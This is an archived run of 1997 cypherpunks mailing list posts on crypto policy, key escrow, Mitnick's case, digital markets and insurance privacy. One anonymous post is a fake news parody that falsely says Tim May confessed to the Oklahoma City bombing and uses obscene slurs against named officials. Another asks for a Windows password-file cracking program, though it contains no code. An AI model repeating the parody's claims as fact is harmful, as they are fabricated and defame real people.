In-Reply-To: <199711060135.TAA22071@einstein.ssz.com>
Message-ID: <199711060852.IAA00795@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate <ravage@ssz.com> writes:
> Adam Back <aba@dcs.ex.ac.uk>
> > Seems to me that the distinction that churches are exempt from taxes
> > partly hinges on their non-profit, or not-for-profit status.
> 
> No, it stems from the fundamental democratic axiom of seperation of church
> and state. If the churches pay taxes they aren't seperate. 

I pay taxes, I am separated from the state.

> If the state supports churches they aren't seperate.

If the state doesn't tax churches they are subsidizing them relative
to other sorts of organisations.  This is surely a form of support.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <rich@paranoid.org>
Date: Fri, 7 Nov 1997 01:10:52 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Mitnick Rings Bell
In-Reply-To: <1.5.4.32.19971106122235.00a31158@pop.pipeline.com>
Message-ID: <Pine.LNX.3.95.971106084928.3808A-100000@highly.paranoid.org>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 6 Nov 1997, John Young wrote:

>  6 November 1997, Digital Cellular Report:
>
>  U.S. government takes hard line on Mitnick. US Hacker Pleads for Help
[snip]

I think Kevin's time in custody shapes up to at least 31 months now.  He
was recently sentenced on a couple of charges, but his time served
exceeds the sentence he was given.  He has been held without bail for
this incredible length of time, yet he has never committed a violent
crime, AFAIK, and never profited financially from his hacking.  In a
hearing a few months back he finally established the fact that he was not
a "fugitive" when he went underground, but had completed the release terms
he was under shortly before.

While I'm not sure I can follow this all to the conclusion that the gov is
using his case to distract people from their attempts to regulate the
Net, I think it is clear they are using him as a warning sign to potential
hackers: Don't believe you have anything like civil liberties, because we
can lock your ass up for years without even having to take you to trial.

There is a pretty quiet majordomo list about Kevin's case at 2600 --
mitnick@2600.com.  Some of us who are concerned about Kevin's case have
been participating in an RC5 team that's meant to hopefully draw attention
to his case.  We're working on RC5-64 now, and people who are interested
in joining can visit the URL below.

The judge in Kevin's case recently set a tentative trail date, for April
of '98, I believe.  That means he'll have been in for over 3 years before
his federal tial begins.  He is facing a 25-count indictment.



Rich

---
Rich Burroughs  rich@paranoid.org
PGP Key Fingerprint = 22 BA C5 D7 2C 34 BF 8E  B5 82 2E 13 46 38 AA 1D
Cracking RC5-64 for Kevin Mitnick   http://www.paranoid.org/mitnick/ 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 7 Nov 1997 01:27:49 +0800
To: Adam Back <kelsey@plnet.net
Subject: Re: Protocols for Insurance to Maintain Privacy
In-Reply-To: <199711052249.QAA06301@email.plnet.net>
Message-ID: <v03102803b0879c165aec@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:03 PM -0700 11/5/97, Adam Back wrote:
>John Kelsey <kelsey@plnet.net> writes:
>> Suppose there is some genetic disease that kills its victims on
>> their 31st birthday, unless they get a $1,000,000 treatment first.
>> Before I have taken the test for this disease, I have to accept a
>> certain risk--if I find out I have the disease, I have to raise a
>> million dollars in the next few months.  After I have taken the test
>> and gotten back the results, there's no more risk involved (assuming
>> the test is perfect)--I either have the disease or I don't.

I want to say one more thing about the example John Kelsey cites here.

That million dollar disease example is not too compelling to me. For
starters, there are literally hundreds of millions of persons on the planet
who are expected to die from various diseases or nutritional deficiencies
for lack of, not a million dollar treatment, not a $100,000 treatment, not
even a $1000 treatment...

No, there are billions who will die early (in childhood, early youth, etc.)
for want of treatments or supplements costing a few hundred dollars.

Not that I support forcibly extorting money from those who have it to give
to these wretches.

Which means I can honestly tell the "million dollar disease" guy: "I hope
you saved up a million dollars."

>> Before the test, though, insurance might be useful--I could
>> essentially place a bet with someone that I had the disease--I pay
>> $1, and get a million dollars back if my test comes back
>> positive--just enough to pay for my treatment.
>
>The insurance company would have no financial incentive to take on
>such risks -- I reckon they'd sooner let the wanna-be customer die.
>Nasty, but it's reality.

And underwriters do this all the time. That is, they fine-tune their
estimates of risks and adjust premiums accordingly.

If Joe Patient makes a bet on this million dollar disease, but won't let me
see any test reports, or won't let me test him independently, I as an
undewriter am going to make the assumption he knows something I don't know.
And his premium is going to go way, way up.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 6 Nov 1997 23:35:27 +0800
To: Ian Grigg <iang@systemics.com>
Subject: Hughes Markets? (Was Re: Copyright commerce and the streetmusician protocol)
In-Reply-To: <199711021807.MAA30019@email.plnet.net>
Message-ID: <v031107bab087886a0db9@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:24 pm -0500 on 11/5/97, Ian Grigg wrote:

> DEFCON IV was well before FC97.  This was an issue I was chasing Eric
> Hughes on.  As far as I understand it, this was unpublished in any form,
> just presented, but many people have saw it (must have been a big
> conference :-).  If anyone knows any different, please let me know
> (except, "get in touch with Eric" because that was not resultful).

Fine.

Since it seems -- for the time being -- Eric was the first person to figure
this stuff out and talk about it publically (so, what else is new? :-)), we
should give him credit for it.

A whole bunch of people are now talking about these cash-settled recursive
auction processes, and they're a direct, and now obvious, consequence of
bearer (or at least instant) settlement markets for information on geodesic
networks. When you add anonymity to the transaction, you pretty much have
the final straw for "rights" tracking. Watermarks just tell you who the
information was stolen from, for instance. So, one more industrial
information process bites the dust.

And, since a lot of people, like myself :-), claim that anonymous bearer
settlement will be the cheapest way to effect a transaction in an
internetworked environment, then this kind of market process should
approach ubiquity sooner or later, and we should have a nice short name for
it. :-).

So, I propose that we call these things "Hughes markets" or "Hughes
auctions" or something. At least until we find the apocryphal 1940's
Atlantic Monthly article, like they did with hypertext. :-).

If it *does* turn out that Eric was the first person to see this, he might
end up with a trip to Stockholm someday...

Cheers,
Bob Hettinga






-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Thu, 6 Nov 1997 18:48:49 +0800
To: cypherpunks@Algebra.COM
Subject: Re: SSL Browser info
In-Reply-To: <199711052259.OAA29112@toad.com>
Message-ID: <slrn6637rm.r8.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Gary Howland wrote:
>	http://www.hotlava.com/demos/ssl-query.html
>which displays the SSL version and cipher types of your browser.

Respond: 'Unknown, try again'.

https attempt offer an outdated self cetificate. :-(





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Thu, 6 Nov 1997 18:50:58 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Is mixmaster dead?
In-Reply-To: <Pine.LNX.3.96.971030072414.7999D-100000@bureau42.ml.org>
Message-ID: <slrn66380p.r8.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* John Mayorga wrote:
>This server is under construction. Please go to http://www.thur.de and look
>there for your link or send a mail to www@thur.de.

www.thur.de was damaged last week. Should be up again this morning. The data
on the server is somewhat outdated, because the backup is somewhat old.

The admin seems to be a good hacker. He followed the directive to try
everything forbitten: 'Do not forget backups.'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 6 Nov 1997 18:58:23 +0800
To: cypherpunks@toad.com
Subject: Tim May Guilty in OKC Bombing!
Message-ID: <199711061041.LAA15555@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



~
Prosecution tries to link May, McVeigh through literature

BIENFAIT (CANADIAN NUTLY NEWS) -- 
Drunks testifying Wednesday in the Oklahoma City bombing trial 
said they found anti-government literature in the home of 
defendant Tim C. May that was similar to that found in the car 
of Timothy McVeigh.
A shitfaced Lying Fuck Louis J. Freeh said, "Pro-constitution,
anti-government, it's all the same crap."
...
One document referred to the government raid on the Branch
Davidian compound near Waco, Texas, and contained the Thomas
Jefferson quote: "The tree of liberty must be refreshed from 
time to time with the blood of patriots and tyrants." 
FBI agents snorting cocaine in the bathroom were heard to say
that they were looking into the possibility that John Doe #3
might, in fact, be Thomas Jefferson.
...
The government has argued that McVeigh and May were
incensed over how federal agents handled the 1993
clash with the Branch Davidian cult in Waco in which 80 cult
members died.	
Lying Nazi Cunt Janet Reno testified that, to her knowledge, 
May and McVeigh were the only two people in the US who were 
angered by the FBI murder of men, women and children.
...
One document seized in Timothy C. May's house was
a copy of a March 15, 1993, letter published in The Wall Street
Journal that referred to Waco and "equates federal agents with
Nazi SS agents exterminating Jews in World War II." 
When prosecutors entered this as evidence, May broke down on
his bar stool and confessed.
"When they introduced the evidence that I read The Wall Street
Journal," May told Canadian Nutly News reportwhores, "I knew it
was only a matter of time until they linked me to Jim Bell, who
has been learning how to read from prison copies of the newpaper."
...
Rumors that May ratted out other readers of The Wall Street Journal
in return for a double-shot of Tequila could not be confirmed.
All political figures queried by Nutly News reportwhores denied
reading the terrorist rag, including its publishers.
The editor of The Wall Street Journal vehemently denied rumors 
that May had secretly named him as an avid reader of his own paper,
claiming, "Hell, I can't even read." He also added that Tim May
and Jim Bell were known to be Janet Reno's secret lovers, though
admitting that they did not fuck her with their own dicks.

Tomorrow: FBI investigating reports that a majority of Cypherpunks
  mailing list subscribers used letters of the English alphabet
  that were 'similar' to those used by May and Bell.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: freematt@coil.com (Matthew Gaylor)
Date: Fri, 7 Nov 1997 00:53:53 +0800
To: cypherpunks@toad.com
Subject: CNN's "Ian Goddard Plot"
Message-ID: <v02130501b087a2a9668a@[198.4.94.240]>
MIME-Version: 1.0
Content-Type: text/plain



From: Ian Goddard <igoddard@netkonnect.net>
Subject: CNN's "Ian Goddard Plot"

   _________________________________________________
  ( free to forward & copy nonprofit with attribute )
   -------------------------------------------------


 CNN's IAN GODDARD TWA 800 "PLOT"

(c) 1997 Ian Williams Goddard

I've tried to decisively extricate myself from my TWA 800 inquiry, but it
seems that CNN and the gov't don't want me to go. CNN is spreading gross
misinformation on television, indicating that I said my inquiry into TWA
800  was part of a "sham" and a "plot."  That is FALSE!! I've always
promoted what I believe, and now I believe promoting the Navy-missile
theory was a big mistake! I believe that the evidence is not sufficient to
blame the Navy and I wish to move away from that and all areas of
conspiracy inquiry forever. But I never said my inquiries were a "plot" or
a "sham."

Christine Negroni with CNN contacted me a few days ago to ask about my
change of direction,  I did not contact her. CNN reports now suggest that I
said my conspiracy inquiry was part of a "plot" (a secret scheme) to do
damage to the government's reputation. That's 100% FALSE !!

My only crime is honesty. I'm honest enough to admit, as I have for months,
that my inquiry into TWA 800 was an effort to identify untruth in the
government. I have a fact-based bias against government, I'm a libertarian.
My webpage was entitled "Anti-Authoritarian Journal," identifying my bias
up front, unlike most sources.

Such up-front honesty is NOT a "plot," as CNN attempts to portray it. The
fact is that anything that is labeled what it is up front is by definition
NOT a plot. I'd say CNN has a bias for the gov't line, however, does CNN
label its journalism "Authoritarian Journalism?" No.


WITNESSES NOT MY FAULT

I did not invent nor am I to blame for the fact that 150+ witnesses
reported having seen something fly upwards and explode at the spot TWA 800
was. That there were such wit- nesses, up to 154, has been widely reported
in the media.

CNN just reported in reference to me:

Joe Lychner of Houston, who lost his wife and two daughters in the crash,
told CNN that Goddard and Salinger owe an explana- tion to the American
public.

The basis of the missile theory are the witnesses, and I did not invent the
witnesses. If anyone owes America an explanation for the missile theory I
think it's the wit- nesses, not me. All I did was report what they said and
commit the error of theorizing that maybe that fiery thing shooting up was
a Navy missile and the Navy is covering it up. I also did not invent the
Navy-missile theory. My explanation for that theory is that the Navy is
known to have many missiles and is known to be off- shore where the plane
crashed. However, an inventory showed that all Navy missiles were accounted
for...

OK fine, I'm ready to move on, but it seems they aren't:

National Transportation and Safety Board spokesman Peter Goelz told CNN
that my re-reporting of witness accounts and theorizing that the Navy was
at fault has done "real damage" and "caused innumerable people great
agony." Wow! It seems I'm a human monster of immense proportions.

I am sorry for that, yet it would seem that the fault lies in part and
primarily with the major media for ever having reported the witness
accounts in the first place. I then made the mistake of suggesting that the
Navy may have been at fault and is covering it up, which I now see as a
mistake, for I could be wrong and if I'm wrong I've impugned the
reputations of America's finest, which is something I should not and do not
now want to do, and for which having done in the past, I am very sorry.

I don't know what happened to TWA 800, and at this point I don't care! I
just want to be left alone and no longer harassed by the major media and
others over the TWA 800 case. I'm sorry I thought the Navy did it. It was a
mistaken thought. I'm sorry my thoughts have "caused innumerable people
great agony." I'm a humani- tarian and have been a vegetarian for 19 years
because I want NOT to cause suffering to any living being.


CNN's "SECRET SCHEME" THEORY

I've never published anything I thought was false. I even published errata
notices when required. All claims I've made were meticulously referenced so
that readers could check up on what I said for themselves. Providing not
just referenced information and ideas but all the links necessary to access
the larger body of information about the case is what made my reports so
popular and what made this little guy the focus of world news.

My plan has been to end my "war on the Establishment." Wanting to move on
from conspiracy theory and set a new course, I asked Doctor David Stern,
who hosts the DEEP TIMES webpage, to remove my conspiracy reports. However,
due to CNN's misleading charges that I've admitted to having been engaged
in a "plot" and thus that I will- fully attempted to mislead people to
believe what I knew to be false, I have requested that David Stern
temporarily replace all my reports so that people can judge for themselves
if I was the liar CNN suggests.

It will take David some time to get the reports back up, but when they are
up you can access them directly at: http://www.copi.com/articles/Goddard or
indirectly at: http://www.copi.com/articles/. Please check the first site
within the next few days.


 _____________________________________________
  Ian Goddard, now at <igoddard@netkonnect.net>


**************************************************************************
Subscribe to Freematt's Alerts: Pro-Individual Rights Issues
Send a blank message to: freematt@coil.com with the words subscribe FA
on the subject line. List is private and moderated (7-30 messages per week)
Matthew Gaylor,1933 E. Dublin-Granville Rd.,#176, Columbus, OH  43229
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**************************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 7 Nov 1997 01:47:11 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Protocols for Insurance to Maintain Privacy
Message-ID: <03fc89ba5c3283279c439ca450c74fc1@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Two ways to tell if the person has had the test:

A) The company performing the test keeps track of everyone who has had it.
This could be by some biometric ID, perhaps even a DNA fingerprint.

B) The company performing the test marks people who have had it.  They
could have a harmless radioactive tracer injected.  This would degrade
after a while but it could be used to see if the test had been taken
within some time interval.

Both of these require that all companies able to issue the test cooperate
and that there is no black market source of testing.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "£ukasz Bromirski" <ukasz.Bromirski@gazeta.pl>
Date: Thu, 6 Nov 1997 23:48:48 +0800
To: cypherpunks@toad.com
Subject: WINDOWS *.PWL program
Message-ID: <3461AD1F.AF21C26A@gazeta.pl>
MIME-Version: 1.0
Content-Type: text/plain



Two years ago, you've posted an Windows 95 *.PWL cracking
program. However, it was severly broken in our news group.
Could you post me personally a full-working copy of it
(as an e-mail) or a source (full) of this program?

I'll be glad to see it. Thanx in advance.

--
###    ### ### ###  ## ######           £ukasz Bromirski
# #    # # # # # # ##  # ####   e-mail: szopen@gazeta.pl
# #    # # # # # ###   # ##     tel. (+48) 022 699 48 00
# #### # ### # # # ##  # ####    Agora-Gazeta Sp. z o.o.
###### ####### ###  ## ######      Dzia³ Telekomunikacji






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jyri Kaljundi <jk@stallion.ee>
Date: Thu, 6 Nov 1997 19:23:37 +0800
To: Gary Howland <gary@hotlava.com>
Subject: Re: SSL Browser info
In-Reply-To: <199711052259.OAA29112@toad.com>
Message-ID: <Pine.GSO.3.95.971106130526.15882G-100000@nebula>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 6 Nov 1997, Gary Howland wrote:

> 	http://www.hotlava.com/demos/ssl-query.html
> 
> which displays the SSL version and cipher types of your browser.

Which for me shows only Unknown - try again in the white window.

Jyri Kaljundi
jk@stallion.ee
AS Stallion Ltd
http://www.stallion.ee/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Wilson <0005514706@MCIMAIL.COM>
Date: Fri, 7 Nov 1997 02:33:16 +0800
To: cypherpunks <cypherpunks@Algebra.COM>
Subject: Govt. key escrow justification
Message-ID: <01IPP6D87B5YAR2N18@DGN0IG.mcimail.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm attaching the Nando and NYT pieces on the President's Commission
on Critical Infrastructure Protection.  As feared yet expected, their
effort is turning into another key escrow justification.  Anyone who
is interested, let me know, I've commented the PCCIP summary report
(the full report is classified).  I'm one of the few public strong-
crypto supporters who also happens to be a professional in the field
of infrastructural attacks, so this makes things even more lonely.
Michael Wilson
http://www.7pillars.com/

   ________________________________________________________________________
                                       
               U.S. cyberterrorism report hit on encryption stance
  ____________________________________________________________________________
                                        
      Copyright ) 1997 Nando.net
      Copyright ) 1997 Reuters
      
   WASHINGTON (November 6, 1997 00:53 a.m. EST http://www.nando.net) - The
   U.S. commission on critical infrastructure drew strong criticism
   Wednesday for endorsing the Clinton administration's controversial
   policy that would require government access to all private computer
   data.
   
   Sen. Patrick Leahy, Democrat of Vermont, said significant questions had
   been raised about the costs and feasibility of so-called key recovery
   systems.
   
   "Until those significant questions are fully considered and answered, we
   should be cautious in adopting grand key recovery encryption schemes
   that may only exacerbate system vulnerabilities," Leahy said in a
   statement.
   
   The commission's report, delivered to President Clinton last month and
   later released to the public in declassified form, warned that critical
   telephone, power, water and financial systems were becoming increasingly
   vulnerable to computer attack.
   
   The commission also said it favored greater use of computer encryption
   programs, which use mathematical formulas to scramble information and
   render it unreadable without a password or software "key."
   
   Encryption programs could be used to prevent hackers or terrorists from
   infiltrating computer networks that run critical infrastructure systems,
   for example.
   
   But the commission backed use of key recovery, a technology to allow law
   enforcement officials to decode any encrypted message covertly.
   
   "Key recovery is needed to provide business access to data when
   encryption keys are lost or maliciously misplaced, and court-authorized
   law enforcement access to the plain text of criminal related
   communications and data lawfully seized," the report said.
   
   FBI director Louis Freeh and other law enforcement officials back
   legislation to require all encryption products to include such features,
   but many high-tech companies, scientists, and civil libertarians oppose
   mandatory back-door access to coded information.
   
   The Center for Democracy and Technology, an Internet advocacy group,
   noted that a recent report by cryptography experts found that key
   recovery features added numerous new vulnerabilities to computer
   systems.
   
   "Key recovery is inconsistent with the (commission's) own calls for
   greater security in our nation's critical infrastructures," the group
   said.
   
   Robert Marsh, who chaired the commission, defended the report to
   reporters after a hearing before the Senate Judiciary Committee's
   technology and terrorism subcommittee.
   
   Marsh contended the report took a balanced view of the encryption
   debate. "We didn't get into the encryption debate and all the nuances
   and individual decisions," he said. "We simply came on strong for
   encryption."
   
   In its formal recommendations, the commission urged the government to
   speed up pilot programs on key recovery, promote efforts to plan for
   implementing large-scale key recovery systems and encourage
   private-sector key recovery efforts.
     ___________________________________________________________________

      November 6, 1997
      
Head of Cyber-Terrorism Panel Says Encryption Rules May Be Needed

      By JERI CLAUSING Bio
      
     WASHINGTON The head of a presidential commission on cyber-terrorism
     on Wednesday told a Senate panel that a mandatory system guaranteeing
     third-party access to scrambled computer communications may be
     necessary if industry does not embrace the Clinton administration's
     plan for a voluntary encryption decoding system.
       ________________________________________________________________
     
     Robert T. Marsh, an aerospace consultant and retired Air Force
     general who is chairman of the President's Commission on Critical
     Infrastructure Protection, made the remarks in his first
     non-classified report on the commission's 15-month study and its
     recommendations for protecting the nation's computer networks from
     high-tech terrorism.
     
     The commission recommended a variety of proposals, including
     increased private-public partnership and information sharing, more
     comprehensive background checks on people who hold sensitive
     positions, strengthening of government computer systems and spending
     more on research to improve network security.
     
     But the key to national security, Marsh said, is strong encryption
     coupled with a back-door access for law enforcement officials to
     sensitive communications.
     
     "We want to see that adopted over all the critical control functions
     at an early date," he told the Senate Judiciary Committee's
     Subcommittee on Technology, Terrorism and Government Information.
     
     The commission's recommendation for a voluntary system that would
     give law enforcement officials the ability to decode electronic
     messages, called a key-recovery system, mirrors that of the
     administration, which says it wants ensure such officials can gain
     access to the coded communications of suspected criminals and
     terrorists.
     
     Encryption policy has been a volatile topic on Capitol Hill this
     year, where bills ranging from an industry-backed ban on key recovery
     to an FBI-supported mandatory key-recovery scheme have passed various
     House committees. The Clinton administration insists it supports a
     Senate bill establishing voluntary key recovery.
     
     "We didn't get into the encryption debate and all the nuances of
     individual positions," Marsh said. "We simply came on strong for
     encryption. We must have encryption."
     
     He told the panel that "we must lower the temperature of the
     encryption debate" long enough to complete pilot projects on key
     recovery that will prove to industry that such systems can work.
     
     Various agencies of the federal government currently are developing
     13 key recovery pilot projects, which were on display Wednesday at a
     Government Information Technology Services conference. Marsh said the
     National Security Agency and the National Institutes for Standards
     and Technology should head efforts to perfect those systems and set
     standards for a national infrastructure protection office to carry
     out.

     Asked by the subcommittee's chairman, Jon Kyl, an Arizona Republican,
     if those controls should be mandated, Marsh responded: "We think
     businessmen will find it in their best interest to incorporate these
     controls. ... Of course, in due time, that may be an option if they
     are not willing to accept them."
     
     Critics blasted the report as premature and contradictory.
     
     "I am concerned that the report's recommendations that large-scale
     key-recovery encryption systems which allow for surreptitious
     decryption by law enforcement be deployed for use by federal agencies
     and the private sector is premature," said Senator Patrick Leahy, a
     Vermont Democrat who has sponsored a bill to relax controls on
     encryption technology."
     
     "Significant questions have been raised by leading cryptographers
     about the security risks inherent in large-scale key recovery
     systems, which introduce new vulnerabilities and targets for attack,
     as well as about the costs and feasibility of implementing such
     systems."
     
     The Center for Democracy and Technology said the "increasing
     vulnerabilities," "increasing dependence on critical infrastructure,"
     and "wide spectrum of threats" identified by the commission all
     provide powerful arguments against the deployment of the vastly
     complex and insecure systems for back-door access that key recovery
     requires.
     
     The center cited a recent study by 11 expert cryptographers and
     computer security experts, "The Risks of Key Recovery, Key Escrow,
     and Trusted Third Parties," which identifies numerous risks in the
     widespread deployment of such key-recovery plans. Among those risks
     is insider abuse, which Marsh said so far has been the chief culprit
     in computer-related crimes.
     
     Marsh said a separate section of the report makes "recommendations
     that try to equip us better to deal with the insider threat, that's a
     separate problem."
       ________________________________________________________________

    Jeri Clausing at jeri@nytimes.com welcomes your comments and
    suggestions.
       ________________________________________________________________

                  Copyright 1997 The New York Times Company

---
For those who want to track this issue further, the PCCIP is at
http://www.pccip.gov/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 7 Nov 1997 06:22:11 +0800
To: cryptography@c2.net
Subject: BXA mtg in DC, 12/9/97
Message-ID: <Beta.32.19971106134658.043abc40@208.139.36.80>
MIME-Version: 1.0
Content-Type: text/plain




In late September, I attended a meeting of the BXA's Regulations &
Procedures Technical Advisory Committee in Portland (OR), where there was
some discussion of crypto export control regulations, plans for changes to
those regs, etc. There will be another meeting of that group on 12/9/97 at
9 AM in the (Herbert C., not J. Edgar) Hoover Building, Room 3884, between
Pennsylvania & Constitution Avenues, NW, in Washington DC. The agenda is:

1.	Opening remarks by the Chairperson.
2.	Presentation of papers or comments by the public.
3.	Update on the encryption regulation.
4.	Update on the Wassenaar Arrangement implementation regulation.
5.	Discussion on the "deemed export" issue.
6.	Discussion on the Enhanced Proliferation Control Initiative and the
continued publication of Entities of Concern.
7.	Update on the Automated Export System.
8.	Discussion on efforts to conform the Foreign Trade Statistics
Regulations and the Export Administration Regulations on export clearance
requirements.

[Closed session]
9.	Discussion of matters properly classified under Executive Order 19958,
dealing with U.S. export control program and strategic criteria related
thereto.
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@best.com>
Date: Fri, 7 Nov 1997 02:23:49 +0800
To: cypherpunks@toad.com (Cypherpunks)
Subject: [news] U.S. cyberterrorism report hit on encryption stance
Message-ID: <199711061434.OAA00250@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



*** U.S. cyberterrorism report hit on encryption stance

The U.S. commission on critical infrastructure was criticized
Wednesday for endorsing the Clinton administration's policy requiring
government access to all private computer data. Sen. Patrick Leahy
said key questions had been raised about costs and feasibility of
so-called key recovery systems. "Until those significant questions
are ... answered, we should be cautious in adopting grand key
recovery encryption schemes that may exacerbate system
vulnerabilities," Leahy said. The commission's report warned key
telephone, power, water and financial systems were increasingly
vulnerable to computer attack. For story
http://www.infobeat.com/stories/cgi/story.cgi?id=5804555-b01






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "R. Jason Cronk" <listmanager@orange.redmans.com>
Date: Fri, 7 Nov 1997 03:59:03 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Hughes Markets? (Was Re: Copyright commerce and the street musician protocol)
In-Reply-To: <34611C3B.60ACCF02@systemics.com>
Message-ID: <v03102803b087c75e4aa6@[199.227.220.35]>
MIME-Version: 1.0
Content-Type: text/plain



 >Since it seems -- for the time being -- Eric was the first person to figure
>this stuff out and talk about it publically (so, what else is new? :-)), we
>should give him credit for it.


While we do need a shorter name and I don't really care what name is used
to describe it, I do think somebody needs to figure out exactly what "it"
is.  Since I don't know what Eric Hughes was talking about at DEFCON IV, I
can't know whether his "it" is the same thing I'm talking about.
Especially since everybody else I've seen talking about "it" seems to leave
out what I think is the most important part -- value added.

So far I have yet to see anyone write a clear and concise article
describing the economic system we've been discussing.  I've tried, but to
date I haven't had the time.  I'm too busy trying to steer my business in
that directon to write about it.

I leave as an exercise for everyone, describe the difference between a
recursive geodesic auction market and a chain letter or a multi-level
marketing scheme (which I might add are rampant on the net).  What prevents
the latter from being a subset of the former?


Jason Cronk









>
>A whole bunch of people are now talking about these cash-settled recursive
>auction processes, and they're a direct, and now obvious, consequence of
>bearer (or at least instant) settlement markets for information on geodesic
>networks. When you add anonymity to the transaction, you pretty much have
>the final straw for "rights" tracking. Watermarks just tell you who the
>information was stolen from, for instance. So, one more industrial
>information process bites the dust.
>
>And, since a lot of people, like myself :-), claim that anonymous bearer
>settlement will be the cheapest way to effect a transaction in an
>internetworked environment, then this kind of market process should
>approach ubiquity sooner or later, and we should have a nice short name for
>it. :-).
>
>So, I propose that we call these things "Hughes markets" or "Hughes
>auctions" or something. At least until we find the apocryphal 1940's
>Atlantic Monthly article, like they did with hypertext. :-).
>
>If it *does* turn out that Eric was the first person to see this, he might
>end up with a trip to Stockholm someday...
>
>Cheers,
>Bob Hettinga
>
>
>
>
>
>
>-----------------
>Robert Hettinga (rah@shipwright.com), Philodox
>e$, 44 Farquhar Street, Boston, MA 02131 USA
>"... however it may deserve respect for its usefulness and antiquity,
>[predicting the end of the world] has not been found agreeable to
>experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
>The e$ Home Page: http://www.shipwright.com/
>Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>
>
>
>
>For help on using this list (especially unsubscribing), send a message to
>"dcsb-request@ai.mit.edu" with one line of text: "help".








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 7 Nov 1997 05:00:17 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <e101274e510cf3c0d04309ff3ddac7a8@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



I have your GAK. Mail me your CAK and we'll trade.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 7 Nov 1997 07:56:40 +0800
To: cypherpunks@Algebra.COM
Subject: plugin to sell digital files in cyberspace announced!!
Message-ID: <199711062345.PAA05699@netcom15.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




wow, I have been thinking that netscape/microsoft would put
something like this in their browser and that this would
kickstart the microcurrency market. however, it sounds like
someone has preempted them for the moment and
built a plugin. this is an extremely significant development
imho. I don't know how credible they are (the notice was
spam) but it's a step in the right direction, and the
creation of a whole new market I predict.



Date: Thu, 06 Nov 97 06:28:47 EST
To: InternetUser@The.Net
Subject: Turn your web-site into a pay-per-view site free in 10min!
Reply-To: powerit@venus.t-1net.com

I-vendor is offering a freeware version of a software plug-in that
allows
anyone to sell digital files such as photos, programs, text based
information etc. from any web site. You don't have to be a company, you
don't have to have credit card facilities, you don't have to do anything
fancy with your web site - just convert your files, put them on your
site and wait for the monthly checks. The software works with Window 3.x
& 95 and current versions of Netscape and Internet Explorer - full
instructions for use are provided.
- - ---
Visit http://members.aol.com/ivendor/index.htm to download the freeware
plug-in and information pack.




- ------- End of Forwarded Message


------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Six <ualdv8@sk.sympatico.ca>
Date: Fri, 7 Nov 1997 06:31:13 +0800
To: cypherpunks@toad.com
Subject: [Fwd: Re: [RePol] Donations Received]
Message-ID: <34623BFA.597D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain

This was sent through EFGA's Georgia Cracker Remailer, but seems to
have gotten 'lost' in the remail.
Go figure...


To: remailer@anon.efga.org
